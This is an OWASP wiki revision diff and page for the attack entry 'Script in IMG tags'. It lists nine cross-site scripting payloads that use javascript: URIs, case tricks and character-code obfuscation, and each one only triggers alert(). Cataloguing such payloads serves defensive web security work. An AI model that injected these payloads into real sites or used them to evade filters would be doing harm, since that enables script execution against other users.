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Difference between revisions of "Script in IMG tags"
From OWASP
m (→Description) |
m (→Examples) |
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==Examples == | ==Examples == | ||
+ | The following are methods an attacker can use in order to execute Javascript.<br><br> | ||
+ | |||
+ | <IMG SRC="javascript:alert('Vulnerable');"><br> | ||
+ | <IMG SRC=javascript:alert('XSS')><br> | ||
+ | <IMG SRC=JaVaScRiPt:alert('XSS')><br> | ||
+ | <IMG SRC=javascript:alert("XSS")><br> | ||
+ | <IMG SRC=`javascript:alert("RSnake says, <br> | ||
+ | 'XSS'")`><br > | ||
+ | <IMG """><SCRIPT>alert("XSS")</SCRIPT>"><br> | ||
+ | <IMG <br> | ||
+ | SRC=javascript:alert(String.fromCharCode(88,83,83))><br> | ||
+ | <IMG <br> SRC=javascript:alert('XSS')><br> | ||
==Related Threats== | ==Related Threats== |
Revision as of 19:28, 29 April 2007
- This is an Attack. To view all attacks, please see the Attack Category page.
Description
It is possible for an attacker to execute Javascript code via the IMG tags. This is also refered to as XSS (Cross Site Scripting).
Examples
The following are methods an attacker can use in order to execute Javascript.
<IMG SRC="javascript:alert('Vulnerable');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says,
'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG
SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG
SRC=javascript:alert('XSS')>
Related Threats
Related Attacks
Related Vulnerabilities
Related Countermeasures
Categories
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